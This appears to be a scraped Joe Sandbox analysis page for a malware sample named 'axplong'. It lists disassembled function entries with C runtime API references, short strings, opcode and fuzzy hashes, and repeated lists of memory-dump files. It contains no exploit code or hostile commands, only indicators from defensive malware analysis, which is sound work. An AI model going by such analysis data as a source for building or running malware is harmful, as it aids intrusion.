Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 6492c6efbda2ec4aee04313c53138eb1151667a653182abbabc75c427aecb168
Instruction ID: 7e69bf2f4367679d60f9e230ab372e33452614672db0dd282654a6171e37e8d3
Opcode Fuzzy Hash: 6492c6efbda2ec4aee04313c53138eb1151667a653182abbabc75c427aecb168
Instruction Fuzzy Hash: CF0108276083662616582419AC03FBF278FDB82BB471E002FF944FB7C1DE54DC0245D4

Function 00692670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00692806
___std_exception_destroy.LIBVCRUNTIME ref: 006928A0

Strings

P#i, xrefs: 006927BE, 00692899
P#i, xrefs: 00692811

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#i$P#i
API String ID: 2970364248-1653140521
Opcode ID: 845ce036f706df7dcf59cb6bc75bfebe0a3fe2a0de1f1ee437db05cd3e635d50
Instruction ID: bbaa0547e3f4033abc1c43e62a7fb0a615c31ef94e11940718a4511c26183fa1
Opcode Fuzzy Hash: 845ce036f706df7dcf59cb6bc75bfebe0a3fe2a0de1f1ee437db05cd3e635d50
Instruction Fuzzy Hash: 25717F71E002499FDF04DFA8C891BEDBBBAEF59310F14411DE805AB741D774A984CBA5

Function 00693A80 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 165COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00693B53
__Cnd_destroy_in_situ.LIBCPMT ref: 00693B59
__Mtx_destroy_in_situ.LIBCPMT ref: 00693B62

Strings

pBi, xrefs: 00693AAE

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: pBi
API String ID: 3308344742-1569801529
Opcode ID: 8e6559679df6f2ada96ab51aa38e45a00138b7bb2621d432c2e721bc09860cac
Instruction ID: 65a2f07c0ab78cc090046bcc55f842be628a55192dadea7ac0becea8c0af7109
Opcode Fuzzy Hash: 8e6559679df6f2ada96ab51aa38e45a00138b7bb2621d432c2e721bc09860cac
Instruction Fuzzy Hash: 9B51D771A00B149FDB24DF28C845BAAB7EAEF05724F144A5DE456C7B91DB34AE00CB90

Function 006AC382 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006AC428
__Xtime_diff_to_millis2.LIBCPMT ref: 006AC472
_xtime_get.LIBCPMT ref: 006AC491

Strings

y/i, xrefs: 006AC422, 006AC46B, 006AC48B, 006AC427, 006AC46E, 006AC490

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: y/i
API String ID: 2858396081-2182310748
Opcode ID: 45c33d05d34ad188e508cdbaf035783e060ee3a90ee2f59e94d130d60e6de474
Instruction ID: 47ae0725718a52b6799948e2279f5b8d33bda39f394a3cef62a66e0bde8f20a0
Opcode Fuzzy Hash: 45c33d05d34ad188e508cdbaf035783e060ee3a90ee2f59e94d130d60e6de474
Instruction Fuzzy Hash: 24513D71900615CFCF20EF24C5E19B9B7E2EF0A720B25989AD805AF255D730ED41CFA9

Function 006A7870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 006A795C
__Cnd_destroy_in_situ.LIBCPMT ref: 006A7968
__Mtx_destroy_in_situ.LIBCPMT ref: 006A7971

Strings

@yj, xrefs: 006A794A

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @yj
API String ID: 4078500453-3695255083
Opcode ID: c2c1e6d316897e44def9dffa48274051b6a9ee555aac1fb05d7034ddef8bceca
Instruction ID: 2dd8d6ae94ec06e98fc583a7d967add35a804a1e5443723e8b682cf29f2b150f
Opcode Fuzzy Hash: c2c1e6d316897e44def9dffa48274051b6a9ee555aac1fb05d7034ddef8bceca
Instruction Fuzzy Hash: 8A31C0B29043049BD720EF68D845A6BB7E9EF16310F000A7EE946C7742E771EE548BA5

Function 006A9940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 006A997F
__Cnd_destroy_in_situ.LIBCPMT ref: 006A998B
__Mtx_destroy_in_situ.LIBCPMT ref: 006A9994

Strings

@yj, xrefs: 006A996D

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @yj
API String ID: 4078500453-3695255083
Opcode ID: dc7bd6cb489c765ba3ee0cb133caa64425354de87e37a045fd24f36db3b6d0c8
